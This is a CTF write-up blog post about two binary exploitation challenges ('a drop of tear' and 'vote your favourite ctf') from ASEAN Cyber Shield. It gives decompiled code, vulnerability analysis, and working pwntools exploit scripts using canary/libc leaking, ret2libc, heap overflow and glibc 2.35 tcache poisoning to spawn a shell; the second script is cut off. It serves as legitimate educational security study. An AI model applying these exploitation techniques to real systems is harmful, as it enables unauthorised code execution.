Overview

My team Copi Kincau (comprised of Firdaus, Teng, Raihan, and me) was one of 4 teams that represented Malaysia in this year’s ASEAN Cyber Shield. We travelled to Ha Long Bay, Vietnam during November to play in the ctf, and managed to get 3rd in the student category!

The ctf was organised by KISA, and had teams from all the ASEAN countries. It had some difficult and high quality pwn challs, and I’ll be sharing the writeups of two of them in this post.
(was busy, so post is almost a month late)

All attachments can be found here.

Special thanks to RE:HACK and NACSA for selecting us to represent Malaysia and the support given by them throughout the contest.

a drop of tear (pwn)

I was really happy that I solved this one since only 2 teams out of all 37 teams in the preliminary solved it!

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

src.c
// from ghidra decompilation
void init(void){
  local_14 = open("/home/acs_ctf/flag",0);
  read(local_14,&local_18,4);
  srand(local_18);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  signal(0xe,exit);
  signal(0xb,correct_indicate);
  alarm(0x78);
  return;
}

undefined8 main(void){
  ...
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init();
  local_134 = 0;
  local_128[0] = 0xdeadbeef;
  local_128[1] = 0xcafebabe;
  local_128[2] = 0x1337c0d3;
  local_128[3] = 0x79427942;
  ...
  do {
    puts("a drop of tear makes me relieved.");
    local_134 = get_signedint(&local_134);
    if (local_134 == 0x10001) {
      guessed_num();
    }
    else {
      if ((int)local_134 < 0x10002) {
        if (local_134 == 0x67) {
          puts("one drop of tear will be dropped.");
          exit(0);
        }
        if ((int)local_134 < 0x68) {
          if (local_134 == 0x65) {
            puts("test your luck.");
            __isoc99_scanf("%c",&local_130);
            getchar();
            if (0x44 < local_130) {
              puts("wrong choice");
              exit(-1);
            }
            local_130 = local_128[(int)((local_130 & 0xff) - 0x41)]; //<-- NEGATIVE INDEX VULN
            puts("what if choice is.....?");
            __isoc99_scanf("%c",&local_135);
            getchar();
            if (local_135 == '/') {
              puts("divided by...?");
              __isoc99_scanf("%d",&local_12c);
              getchar();
              local_130 = (int)local_130 / local_12c;
            }
            else {
              if (local_135 < '0') {
                if (local_135 == '-') {
                  puts("minus...?");
                  __isoc99_scanf("%d",&local_12c);
                  getchar();
                  local_130 = local_130 - local_12c;
                }
                else {
                  if (local_135 < '.') {
                    if (local_135 == '*') {
                      puts("multiply...?");
                      __isoc99_scanf("%d",&local_12c);
                      getchar();
                      local_130 = local_12c * local_130;
                    }
                    else {
                      if (local_135 == '+') {
                        puts("plus...?");
                        __isoc99_scanf("%d",&local_12c);
                        getchar();
                        local_130 = local_12c + local_130;
                      }
                    }
                  }
                }
              }
            }
            uVar1 = rand();
            if (uVar1 == local_130) {
              puts("Correct! wow..");
              guessed_num();
            }
            else {
              puts("..?");
            }
            goto LAB_00101a39;
          }
          if (local_134 == 0x66) {
            puts("test your exploit skill.");
            read(0,&local_118,0x140); // <----- BUFFER OVERFLOW HERE
            if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
              return 0;
            }
            __stack_chk_fail();
          }
        }
      }
      printf("%d is wrong choice.\n",(ulong)local_134);
    }
LAB_00101a39:
    puts("");
  } while( true );
}

void get_signedint(char *param_1){
  read(0,param_1,4);
  atoi(param_1);
  return;
}

void guessed_num(void){
  long in_FS_OFFSET;
  uint local_20;
  uint local_1c;
  int local_18;
  int local_14;
  long local_10;

  local_18 = open("/home/acs_ctf/flag",0);
  read(local_18,&local_20,4);
  close(local_18);
  __isoc99_scanf("%d",&local_1c);
  if (local_20 != local_1c) {
    puts("Wrong!");
    exit(-1);
  }
  puts("Correct");
  local_14 = open("/home/acs_ctf/flag",0);
  read(local_14,&local_1c,4);
  local_1c = local_1c & 0xffffff;
  printf("Of course, you are playing %s CTF, right?\n",&local_1c);
  close(local_14);
  return;
}

Reversing

The binary loads the first 4 bytes of /home/acs_ctf/flag as the rand() seed.
It then goes into an infinite loop requesting user input to select options:

  • 101: guess the random number
  • 102: buffer overflow then return from main
  • 103: exit()
  • 65537: guessed_num()

How option 101 works is one byte of user input is requested, and that byte is used to index array local_128 through local_128[one_byte_input-0x41)];.

local_128 is also populated at the start of the process:

  local_128[0] = 0xdeadbeef;
  local_128[1] = 0xcafebabe;
  local_128[2] = 0x1337c0d3;
  local_128[3] = 0x79427942;

So if you enter ‘A’, index 0 is used, and your current guess is 0xdeadbeef.
You can then perform basic arithmetic operations +-*/ on your guess, and that final guess will be used to be compared with the random number generated by rand().

So if you had 0xdeadbeef as your guess, you could +1 to it, and make it 0xdeadbef0.

If your guess was correct, guessed_num() would be called.
What guessed_num() does is just ask for the first 4 bytes of /home/acs_ctf/flag, and outputs those bytes out again if you get it right.

You can directly call the guessed_num() function by using option 65537, but idt its possible to use that option since the program just reads 4 byte from the user for choosing options.

Option 102 is just a classic bof, but there’s a canary and PIE stopping you, so there’s not much you can do with just that.

Vulnerabilities

The flag format of the ctf is ACS{...}, so the seed of rand() was just ACS{.
Thus you can always predict what the correct answer is.

There is also a negative index vuln in the number guessing option:

local_128[one_byte_input-0x41)];

where you can enter bytes smaller than 0x41 to access values before the array.

This is how the array looks in memory:

0x7fffffffe0f8: 0x8e9331be0e56d100 <- canary
...           
0x7fffffffe138: 0x00007ffff7e3dee3 <_IO_file_overflow+259> <- libc address
...
0x7fffffffe1c8: 0x00000001deadbef0 <- your guess (0xdeadbef0)
0x7fffffffe1d0: 0xcafebabedeadbeef <- local_128
0x7fffffffe1d8: 0x794279421337c0d3
...

This means that you can use negative indexes to access your previous guess, the canary, and libc address, and use them as your current guess.

Keep in mind tho that you don’t get to directly input the indexes, and have to input a byte that is first subtracted with 0x41, then only be used to index local_128. So if I input byte \x0b, the array will be indexed through local_128[0xb-0x41], and the first 4 bytes of the canary will be used as our current guess.

And memory will look like this:

...           
0x7fffffffe1c8: 0x000000010e56d100 <- your current guess before any +-*/ is performed
0x7fffffffe1d0: 0xcafebabedeadbeef <- local_128
0x7fffffffe1d8: 0x794279421337c0d3
...

Ok nice, so we can use either the canary or libc addresses as our guess, what can we do with that?

We can actually use this to leak canary and libc, and once we have those values, we can just ret2libc using option 102.

But how do we actually leak values using number guessing?

Leaking

Since we know the random seed, we always know what the correct guess is.

If we take the canary as our random guess, and shift it 31 bits to the left, leaving the LSB of the canary as the MSB of our guess. Then setup the rest of the 31 bits to be same as the correct guess. We will know that the LSB of the canary, is same as the MSB of the correct guess, if our guess was correct and guessed_num() is called. If our guess was incorrect, then we know that the LSB bit of the canary is the opposite of the MSB bit of the correct guess.

Example:

(everything is represented in bits, and scaled down to 8 bits for simplicity of example)

ITERATION 1:
rand num: ...
canary: 10101010
guess: 10101010     <- access canary using negative index

multiply 2**7 to shift guess 7 bits to the left
guess: 00000000

ITERATION 2:
rand num: 11110000
guess: 00000000     <- access back previous guess 

add 7 bits of the correct guess
guess: 01110000

OUTCOME OF ITERATION 2:
wrong guess

Thus we know that largest bit of our guess is wrong, and is NOT 1.
So the smallest bit of the canary, is 0.

When we want to brute the next bit, we just shift one less bit to the left, so shift 6 bits, and do the same thing. We just have to do some slight calculations to correctly setup the other 7 bits of the correct guess.

Example:

let's say you found out the last bit of the canary to be 1,
when you shift the canary 6 bits to the left, you know that:
guess: ?1000000

during the next iteration of the infinite loop, say
rand num: 00001111
guess: ?1000000

to setup the rest of the 7 bits of your guess, you have to
subtract 15 from guess
guess: ?0001111

Through this, we can brute the canary and libc bit by bit, and we can then just ret2libc!
You just need time to brute, and my exploit took a little under 2 mins to run on the remote server.

exploit.py:

from pwn import *
from ctypes import CDLL
#io = process("./tear",aslr=True)
io = remote("10.100.0.43",10002)
libc = ELF("./libc.so.6")
cdll_libc = CDLL('libc.so.6')
cdll_libc.srand(0x7b534341)

def brute_bit(s):
    # to use this func, bit alr has to be setup
    # only DONT change MSB
    state = s
    cur_rand = cdll_libc.rand()
    target = cur_rand & 0x7fffffff
    state = (state&0x7fffff00) + ord('?')
    diff = abs(target-state)

    if (target > state):
        io.sendlineafter(b"relieved.",b"101")
        io.sendlineafter(b"luck",b"?") # to choose back guess
        io.sendlineafter(b"choice",b"+")
        io.sendlineafter(b"plus...?",str(diff).encode())

    else:
        io.sendlineafter(b"relieved.",b"101")
        io.sendlineafter(b"luck",b"?")
        io.sendlineafter(b"choice",b"-")
        io.sendlineafter(b"minus...?",str(diff).encode())

    resp = io.recvuntil(b"..")
    if b"wow" in resp:
        # bit matches the rand
        io.sendline(b"2069054273")

        # have to do this for some reason
        io.sendlineafter(b"relieved.",b"101")
        io.sendlineafter(b"luck",b"A")
        io.sendlineafter(b"choice",b"-")
        cdll_libc.rand()

        return cur_rand >> 31

    else:
        # bit does not match the rand
        return not (cur_rand >> 31)

# realised when writing the writeup that this should be name dword, not qword
def brute_qword(idx,start_bit,end_bit,known=0):
    # brute start bit - end bit, inclusive
    qword = known

    for i in range(start_bit,end_bit+1):
        # load the ptr we want to leak
        # multiply 2**n shift n bytes to left
        io.sendlineafter(b"relieved.",b"101")
        io.sendlineafter(b"luck",idx.to_bytes(1,"little"))
        io.sendlineafter(b"choice",b"*")
        io.sendlineafter(b"multiply...?",str(2**(31-i)).encode())
        cdll_libc.rand()

        new_bit = brute_bit(qword << (31-i))
        qword = (new_bit<<i) + qword

    log.info("QWORD BRUTED")
    return qword


canary = (brute_qword(0xc,0,31)<<32) + (brute_qword(0xb,8,31))
log.info("CANARY: " + hex(canary))

libc.address = (brute_qword(0x1c,0,15)<<32) + brute_qword(0x1b,8,31,known=0xe3) - libc.symbols["_IO_file_overflow"] - 259
log.info("LIBC BASE: " + hex(libc.address))

pop_rdi = p64(libc.address + 0x10f75b)
ret = p64(libc.address + 0x10f75c)

ret2libc = b"A"*0x108 + p64(canary) + p64(0) + ret
ret2libc +=  pop_rdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.symbols["system"])

io.sendlineafter(b"relieved.",b"102")
io.sendlineafter(b"skill.",ret2libc)

io.sendline(b"cat /home/acs_ctf/flag")
io.interactive()

vote your favourite ctf! (pwn)

I was really really really close to solving this in the finals, but I ran out of time. Would’ve been really satisfying to solve it but even if I did, we’d still be 3rd. Also iirc only 2/10 teams solved it.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

    LIBC: GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35. 

src.c

Reversing

It’s a C++ binary, where you can insert ctf names and vote ctfs.

add your favorite ctfs!
1. add ctf
2. vote ctf
3. remove ctf
4. exit
input:

Each ctf is stored as an object in the heap.
The addresses of these objects are stored in a global array which I named ctfs_arr.

Each ctf object is 0x958 bytes, and has properties:

- name
- topics
- photo width
- photo height
- photo
- photo magic value

Which are all set when you add a ctf.

The name is just a 31 byte C string and is always asked for, but the topics and photo is compulsory.

If you do choose to write topics, the amount of topics is requested (must be < 6).
Topic names are then read in as C++ basic_strings, and stored in a C++ vector.
(I actually didn’t know that they’re stored in vectors until after the ctf, more on this later)

If you choose to give a photo, the width and height of the photo is requested, both of which are shorts and must be < 0x30. Then, width*height bytes is read in as the photo, through:

read(0,pvVar3,(long)((int)height * (int)width));

A magic value based on the photo is also generated, and stored at object+0x938.

void set_magic(long obj){
  long lVar1;
  lVar1 = generate_magic(obj);

  /* if magic is not 0x1337133713371337, then set the magic */
  if (lVar1 != 0x1337133713371337) {
    *(long *)(obj + 0x938) = lVar1;
  }
  return;
}

// just go through every byte of photo and magic = byte + magic*0x17
long generate_magic(long obj){
  short j;
  long local_10;
  
  local_10 = 0x1337133713371337;
  j = 0;
  while (((((int)j < (int)*(short *)(obj + 0x16) * (int)*(short *)(obj + 0x14) &&
           (-1 < *(short *)(obj + 0x14))) && (-1 < *(short *)(obj + 0x16))) && (j < 0x900))) {
    local_10 = (long)*(char *)(obj + 0x38 + (long)(int)j) + local_10 * 0x17;
    j = j + 1;
  }
  return local_10;
}

Once you finish making a ctf, the photo is rendered and printed onto the screen.
The photo is just a bunch of *s and .s, having char ‘1’ being a *, and the rest being ..
The raw bytes of the photo is also printed through printf("... %s\n",...);

The ctf objects looks something like this in memory:

0x55555556feb0: 0x000055555555bc80   <- pie readonly address storing funcptr   
0x55555556feb8: 0x00000000           <- votes
0x55555556febc: 0x00000001           <- has_photo boolean 
0x55555556fec0: 0x00000000    
0x55555556fec4: 0x0010               <- photo width
0x55555556fec6: 0x0020               <- photo height
0x55555556fec8: 0x00000072656d6167   <- name
...
0x55555556fee8: 0x3231333231333231   <- photo bytes
...
0x5555555707e8: 0x6b55ee1041d66d0f   <- magic
0x5555555707f0: 0x0000555555570840   <-|  
0x5555555707f8: 0x0000555555570880     |- topics vector stuff
0x555555570800: 0x0000555555570880   <-|

------------------------------------------------------------------------------------------
more on the pie readonly address:
0x000055555556feb0: 0x000055555555bc80  →  0x0000555555558522  →   endbr64 

#The vector object is also allocated in the heap as a chunk
more on the vector object:
0x555555570840: 0x0000555555570850      0x0000000000000004
0x555555570850: 0x0000000041414141      0x0000000000000000
0x555555570860: 0x0000555555570870      0x0000000000000004
0x555555570870: 0x0000000042424242      0x0000000000000000
0x555555570880: 0x0000000000000000


Im pretty sure the vector ptrs in the ctf object are just the vector startptr and endptr:
0x5555555707f0: 0x0000555555570840  
0x5555555707f8: 0x0000555555570880  
0x555555570800: 0x0000555555570880 (this ptr is diff when there's 3 elements tho)

Inside the vector, the string / char ptr is stored, followed by the length of the str,
then the actual bytes of the string:
0x555555570840: 0x0000555555570850      0x0000000000000004
0x555555570850: 0x0000000041414141      0x0000000000000000

When you choose option 2 (vote a ctf), all ctf’s name, photo render, and topic names will be printed.

The magic number of all the ctfs with photos will be checked as well, and the process will exit if any magic numbers are wrong.

ulong check_magic(long param_1){
  ulong uVar1;
  ulong uVar2;

  uVar1 = *(ulong *)(param_1 + 0x938);
  uVar2 = generate_magic(param_1);
  return (uVar1 == uVar2);
}

Once you vote a ctf, their total votes will +1.

When you choose option 3, and choose a ctf to remove by giving its index, the magic check will be done on the ctf as well. Once it passes the check, the address at **ctf_object will be called, with ctf_object being its argument. So:

ctf_object = 0x000055555556feb0;
0x000055555556feb0: 0x000055555555bc80  →  0x0000555555558522  →   endbr64

$rip: 0x0000555555558522
$rdi: 0x000055555556feb0

I didn’t really reverse the function at 0x0000555555558522, but after its called, the vector object and the ctf object is freed. Afterwards the ctf object ptr is nullified in the ctf_arr list (so no UAF).

When you choose option 4, the ctf with the most votes is declared the winner, and main() returns afterwards.

Vulnerabilities

When making a new ctf, you can enter negative width and height:

    printf("width? ");
    __isoc99_scanf("%hd",&width);
    printf("height? ");
    __isoc99_scanf("%hd",&height);
    getchar();
    // the comparisons here are done with instrs jg and jle, which are signed comparisons
    // thus negative values of width and height will be false for these comparisons
    if ((0x2f < width) || (0x2f < height)) {
      exit(-1);
    }
    set_obj_width(*(undefined8 *)(&ctfs_arr + (long)idx * 8),(int)width);
    set_obj_height(*(undefined8 *)(&ctfs_arr + (long)idx * 8),(int)height);

With that, you can read as many bytes as you want in:

read(0,pvVar3,(long)((int)height * (int)width));

Since you can enter any negative height and width, and negative multiplied with negative is positive, you can read any amount of bytes into the photo property of the ctf objects.

However, the binary tries to prevent this by using the magic value.

long generate_magic(long obj){
  short j;
  long local_10;
  
  local_10 = 0x1337133713371337;
  j = 0;
  
  while (((((int)j < (int)*(short *)(obj + 0x16) * (int)*(short *)(obj + 0x14) &&
           (-1 < *(obj + 0x14))) && (-1 < *(obj + 0x16))) && // <- negative values fails this 
           (j < 0x900))) {
    local_10 = (long)*(char *)(obj + 0x38 + (long)(int)j) + local_10 * 0x17;
    j = j + 1;
  }
  return local_10;
}

// the test and js instructions are used to check if *(obj+0x14) and *(obj+0x16) are negative
// test sets the sign flag if they're negative, and js jumps if sign flag is set

Because of the negative width and height, we won’t execute the code in the while loop at all, and generate_magic() will return 0x1337133713371337.

Thus set_magic() won’t set the magic property of the ctf object:

void set_magic(long obj){
  long lVar1;
  lVar1 = generate_magic(obj);

  // if lVar1 == 0x1337133713371337, do nothing
  if (lVar1 != 0x1337133713371337) {
    *(long *)(obj + 0x938) = lVar1;
  }
  return;
}

The magic property of the ctf object will be null.

This becomes a problem when you try to vote or delete the ctf object, as it will fail the magic check:

ulong check_magic(long param_1){
  ulong uVar1;
  ulong uVar2;

  uVar1 = *(ulong *)(param_1 + 0x938);
  uVar2 = generate_magic(param_1);
  // uVar1 will be 0, uVar2 will be 0x1337133713371337
  // so this will return false, and process will terminate
  return (uVar1 == uVar2);
}

However, the magic property is stored below the photo property of the object, which you have unlimited write to. So you can just overflow the photo property, and write 0x1337133713371337 as the magic yourself!

With that, you have unlimited overflow in the heap, giving you the ability to overwrite the topics vector of the object, and also any heap chunk that is below the object. But before we can pop a shell, we will need some memory leaks.

Leaking

Since this is how the binary prints out the raw bytes of the photo after you make a ctf:

     uVar4 = get_photo(*(&ctfs_arr + idx*8)); // address of obj's photo will be returned 
     printf("photo format : %s\n",uVar4);

And the photo is followed by the magic, which is then followed by a heap address (topics vector):

0x55555556fee8: 0x3231333231333231   <- photo bytes
...
0x5555555707e8: 0x1337133713371337   <- magic
0x5555555707f0: 0x0000555555570840   <- heap addr

The heap addr is leaked when you completely fill up the photo buf,and setup the magic properly:

AAAAAAAAAAA...\x37\x13\x37\x13\x37\x13\x37\x13heap_leak\x00

Since there’s no null bytes to terminate the string before the heap address.

As for leaking libc, and other values, I used the topics of the object.
I actually didn’t know that the topic names are stored in a vector during the finals, since I didn’t really reverse the functions that are used to handle topics. I took more of a dynamic analysis approach to seeing how the topics are stored, by playing with them and viewing them in memory.

What I saw was that when you have one topic:

... rest of ctf obj ...
0x5555555707f0: 0x0000555555570810      <- startptr 
0x5555555707f8: 0x0000555555570830      <- endptr
0x555555570800: 0x0000555555570830      <- endptr
0x555555570808: 0x0000000000000031      <- new heap chunk
0x555555570810: 0x0000555555570820      <- char ptr
0x555555570818: 0x0000000000000004      <- number of bytes
0x555555570820: 0x0000000041414141      <- actual bytes
0x555555570828: 0x0000000000000000

A 0x30 heap chunk would be allocated, having a char ptr in it that points to chunk+0x10.
And the ctf object will have pointers pointing to the start and end of this chunk.

Since we can overflow the ctf object, we could overwrite the start and end ptrs to point to memory we control (can freely write), and craft our fake chunk there. By setting up a pointer in that fake chunk, we can get arbitary read when we print the topic names.

To do all this, we have to know at what address the memory we control is, and also the address which its contents we want to leak. Thanks to the heap leak before, we know the addresses of our ctf objects (and its properties), and also we can leak any value that is stored inside the heap.

In smaller binaries like this, as long as you have a heap leak, you can calculate the heap base, and from then on you’ll know where everything in the heap is. Since there’s very little mallocs and frees called, and the places where they are called are the same everytime the binary is ran, the heap layout is very predictable.

So an example of leaking through topics:

...
0x55555556ff10: addr  <- whatever addr that we want to leak its contents, so leak *addr
0x55555556ff18: 0x8
...
0x5555555707f0: 0x55555556ff10 <- overwrote to point to some photo bytes of own obj 
0x5555555707f8: 0x55555556ff30 <- overwrote endptr to startptr+0x20
0x555555570800: 0x55555556ff30 

With this, we can leak any *addr, as long as we know addr!

Currently, with PIE and everything, we only know heap addresses.
How can we leak libc? Is there any libc addresses inside the heap?

We can just free a large enough chunk, so that it goes into the unsorted bin. That way the chunk will have a double linked list that contains a libc pointer.

to learn more about binning.

The ctf object is perfect for this, since its 0x958 bytes, large enough to just go straight into the unsorted bin when freed. Remember tho to put a chunk between the unsorted bin chunk and the wilderness to prevent consolidation.

With that, we have heap and libc leak, as well as arbitary read into any heap and libc addr.

if pwndbg heap commands doesn’t work, you just have to use heap set-arena to tell it where main_arena is. You can find out where the main_arena is by using the address in unsorted bin chunks, as it is main_arena+0x60.

Exploitation

I first tried overwriting the address which stored a function ptr (placed at the start of the ctf object), to an address I control, which has a one_gadget in it. But the one_gadgets didn’t work.

Then, I went for a tcache poisoning attack, which is essentially just overwriting the fd ptr of chunks in tcache bin:

# pointer mangling not shown for simplicty
before corruption:
Tcachebin[idx=2,size=0x30]:  0x555555570910 -> 0x555555570940 

0x555555570900: 0x0000000000000000  0x0000000000000031
0x555555570910: 0x555555570940 (fd) 0x0000000000000000
0x555555570920: ...

0x555555570930: 0x0000000000000000  0x0000000000000031
0x555555570940: ...                 ...

so when a 0x30 chunk is requested, 0x555555570910 will be allocated first.
then when another 0x30 chunk is requested, 0x555555570940 will be allocated next,
as it follows the fd ptr of the 0x555555570910 chunk

after corruption:
Tcachebin[idx=2,size=0x30]:  0x555555570910 -> addr 

0x555555570900: 0x0000000000000000  0x0000000000000031
0x555555570910: addr           (fd) 0x0000000000000000
0x555555570920: ...

when a 0x30 chunk is requested, 0x555555570910 is allocated first.
But for the next allocation, addr will be allocated, as its the fd of 0x555555570910 chunk

It’s important to note however that we’re using glibc 2.35, and pointer mangling is done on the fd pointers:

// from https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L340 
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

So in reality, the tcache chunks look something like this:

Tcachebin[idx=2,size=0x30]:  0x555555570910 -> 0x555555570940 

0x555555570900: 0x0000000000000000  0x0000000000000031
0x555555570910: 0x555000025c30 (fd) 0x0000000000000000
0x555555570920: ...

0x555555570930: 0x0000000000000000  0x0000000000000031
0x555555570940: ...                 ...

mangling:
(0x555555570910>>12)^0x555555570940 = 0x555000025c30

So whenever we want to overwrite the fd pointer, we have to remember to mangle our address:

def mangle(dest,pos):
    return (pos >> 12) ^ dest

When you allocate a 0x20 byte topic, the bytes aren’t just stored in the vector object like when you allocate less bytes, but instead another chunk is allocated specifically for the topic name:

when you allocate a 0x4 byte topic:
0x555555570830: ...                     0x0000000000000031
0x555555570840: 0x0000555555570850      0x0000000000000004
0x555555570850: 0x0000000041414141      0x0000000000000000

when you allocate a 0x20 byte topic:
heap chunk:
0x555555572ec0: ...                     0x0000000000000031
0x555555572ed0: 0x0000555555572f00      ...
0x555555572ee0: ...

heap chunk:
0x555555572ef0: 0x0000000000000000      0x0000000000000031
0x555555572f00: 0x4141414141414141      0x4141414141414141
0x555555572f10: 0x4141414141414141      0x4141414141414141

So using this, you can get two 0x30 chunks side by side, and will free both of them when you delete the ctf object, giving you the ability to setup the heap so that:

-------------------
| free ctf obj    |  <- (next ctf object allocation)
-------------------
| free 0x30 chunk |  <- tcache will allocate this first if 0x30 chunk is requested
-------------------
| free 0x30 chunk |  <- then this  
-------------------

Before I tried to get this setup, I made sure there were nothing in the free lists to make things easier. Also like I said before, I didn’t fully reverse the topics functions, so sometimes there’s unexpected chunks that are suddenly allocated/freed, so I just had to play around with it a bit to get this configuration.

With that, when we allocate the next ctf object, we can overflow the free 0x30 chunk, and overwrite its fd pointers with what we want. Remember to not give any topics since that’ll mess up the setup.

allocate ctf obj and overflow fd:
--------------------------------
| ctf_obj                      |  
--------------------------------
| free 0x30 chunk, fd=own_addr |   <- tcache will give this first when 0x30 chunk is requested
--------------------------------
| free 0x30 chunk              |  
--------------------------------

tcache will give own_addr next when another 0x30 chunk is requested

So when we make another ctf object, this time with a 0x20 byte topic, a 0x30 chunk will be requested to setup the vector object, and the chunk which has its fd overwritten will be returned. When another 0x30 chunk is requested to store our 0x20 byte topic name, the addr which we overwrote fd with will be returned, and we will achieve arbitary overwrite.

The only criteria for the addr to overwrite fd with is that it is 0x10 bytes aligned, otherwise heap security checks will be triggered. (I’m pretty sure tcache is meant for fast allocation, so there’s pretty few security checks. For example tcache doesn’t check if the heap metadata header of the to-be-allocated chunk is set properly.)

Only question is now is, what do we overwrite?
I chose to just leak the stack by leaking the environ variable in libc using the method shown above, and overwrite the ret pointer of add_ctf():

0x00007fffffffe2a0│+0x0000: 0x00007fffffffe2c0  <---- overwrite from here
0x00007fffffffe2a8│+0x0008: 0x00005555555572b6   ← $rsp
0x00007fffffffe2b0│+0x0010: 0x0000000100000000
0x00007fffffffe2b8│+0x0018: 0x5098e54495573500
0x00007fffffffe2c0│+0x0020: 0x0000000000000001   ← $rbp

environ is a variable in libc that stores where the start of the environment variables are in the stack. I’m pretty sure the difference in environment variables is what makes stack offsets different in remote and local. So the ret ptrs (which are above environ) are all at the same offsets relative to environ across remote and local, since all the noise of the stack happens after environ.

and well this is where I got stuck in the finals

The overwrite worked perfectly when I tried overwriting with 0x20 As, but failed when I tried to ret2libc, and overwrite with:

p64(0) + pop_rdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.symbols["system"])

I thought it failed because the topic name was read in through C++ >>, and it couldn’t read null bytes. Or maybe a strlen was used in determining the malloc size, and having a null byte in it made it so that not a 0x30 byte chunk was used. So another chunk is allocated elsewhere, not at the place we want.

I actually tried to overwrite exit_handlers, and leak the pointer_guard using the topics method before I tried doing ret2libc, but that faced the same overwrite problem as well.

In the end, I ran out of time, and didn’t solve this challenge.

After the ctf, I tried the challenge again, and played around with this more.
I tried overwriting with 0x20 null bytes to see if the overwrite will work, and to my surprise, it did!
I investigated more, and turns out, the overwrite failed because my pop rdi gadget was at the address 0x1555550bd3e5, and the overwrite failed everytime it encountered a \x0b byte. The gadget was always at that address too since I turned ASLR off using pwntools when testing.
When I tried it with 0x15555541d3e5, the overwrite worked. So there’s no problems writing pointers, except for some with bad bytes like \x0b.

In hindsight, I probably should have tested the C++ >> thing by using the binary normally and making some topics with null bytes, before going ahead with my assumptions. But well, there was very little time left when I faced this problem, and was just throwing stuff to see what works.

Also, it could have been because I wasn’t using the libc given , but was using my local libc (which is also glibc 2.35, just not the same one).


I first tried to do a ret2libc, but was faced with the movaps issue. I couldn’t write an extra ret gadget to deal with it too since I couldn’t write one more pointer, as that will make the overwrite not work. (Since then its not a 0x30 chunk that’s allocated anymore.)

I then tried to setup a gets() call to further write the rop chain, but that didn’t work as well.

In the end, I managed to use this one_gadget:

0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

Before the ret instruction of add_ctf() is executed, there is a pop rbp instruction:

 → 0x555555556c2d                  pop    rbp
   0x555555556c2e                  ret

0x00007fffffffe2a0│+0x0000: 0x00007fffffffe2c0  →  0x0000000000000001    ← $rsp, $rbp
0x00007fffffffe2a8│+0x0008: 0x00005555555572b6  →   jmp 0x555555557289

Our overwrite starts at 0x7fffffffe2a0, so we can just write a null there, and make rbp = NULL.
rsp & 0xf == 0 is also true, so two out of three constraints of the one_gadget is met.

The rcx however is set to some libc address. We can make it null simply by using a pop rcx gadget and setting up a null:

payload = p64(0) + pop_rcx + p64(0) + one_gadget

And with that, we get a shell!

Both the tear and vote challenges are actually made by my friend Ainsetin!
After the ctf, he told me that he exploited this challenge by faking vector objects in topic (that’s how I learned that the topics were actually stored in vectors), not through tcache poisioning. So if you want to see his exploit, maybe you can contact him.

exploit.py:

from pwn import *
#io = process("./vote",aslr=False)
io = remote("127.0.0.1",13337)
libc = ELF("./libc.so.6")

def add_ctf(idx,name,topic_cnt,do_photo,width,height,photo,topics=[]):
    io.sendlineafter(b"input:",b"1")
    io.sendlineafter(b"idx",str(idx).encode())
    io.sendlineafter(b"name",name)
    io.sendlineafter(b"topic cnt",str(topic_cnt).encode())

    for i in range(topic_cnt):
        io.sendlineafter(b"topic>",topics[i])

    if do_photo:
        io.sendlineafter(b"photo?",b"y")
        io.sendlineafter(b"width?",str(width).encode())
        io.sendlineafter(b"height",str(height).encode())
        io.sendafter(b"reading photo below>>",photo)

    else:
         io.sendlineafter(b"photo?",b"n")

def vote_ctf(idx):
    io.sendlineafter(b"input:",b"2")
    resp = io.recvuntil(b"ctf idx:")
    io.sendline(str(idx).encode())
    return resp

def remove_ctf(idx):
    io.sendlineafter(b"input:",b"3")
    io.sendlineafter(b"idx?",str(idx).encode())

def mangle(dest,pos):
    return (pos >> 12) ^ dest


# leak heap and libc
add_ctf(0,b"AAAA",1,False,0,0,0,topics=["a"]) # make topic to prevent consolidation
add_ctf(1,b"BBBB",1,False,0,0,0,topics=["b"])
remove_ctf(0)
remove_ctf(1)

payload = b"A"*0x900 + p64(0x1337133713371337)
add_ctf(0,b"AAAA",1,True,-32767,-1,payload,topics=["a"])
io.recvuntil(p64(0x1337133713371337))
heap_base = u64(io.recv(6) + b"\x00\x00") - 0x131a0
log.info("HEAP BASE: " + hex(heap_base))

remove_ctf(0)
fake_str = p64(heap_base+0x11eb0) + p64(6)
payload = fake_str.ljust(0x900,b"\x00") + p64(0x1337133713371337) + p64(heap_base+0x12878) + p64(heap_base+0x12898) + p64(heap_base+0x12898)
add_ctf(0,b"AAAA",1,True,-32767,-1,payload,topics=["a"])

libc.address = u64(vote_ctf(0)[0x5d:0x5d+6]+b"\x00\x00") - 0x219ce0
log.info("LIBC BASE: " + hex(libc.address))
add_ctf(1,b"placeholder",1,False,0,0,0,topics=["a"])

# leak environ
fake_str = p64(libc.address+0x221200) + p64(10)
payload = fake_str.ljust(0x900,b"\x00") + p64(0x1337133713371337) + p64(heap_base+0x13208) + p64(heap_base+0x13228) + p64(heap_base+0x13228)
add_ctf(2,b"AAAA",1,True,-32767,-1,payload,topics=["a"])
environ = u64(vote_ctf(0)[0x108:0x108+8])
log.info("ENVIRON: " + hex(environ))


# all bins are empty now, setup heap for tcache poisoning
add_ctf(3,b"AAAA",1,False,0,0,0,topics=[b"A"*0x20]) # for some reason, this will free a 0x50 chunk
add_ctf(4,b"AAAA",1,False,0,0,0,topics=[b"A"*0x20]) # this sets it up so that two 0x30 chunks are together
remove_ctf(4)

# in memory, there is now: free object chunk, followed by two 0x30 tcache chunks
#gdb.attach(io,gdbscript="x/8gx 0x55555555c2c0\n heap set-arena 0x1555552acc80")

# overwrite fd ptr in tcache
ret = environ - 0x148
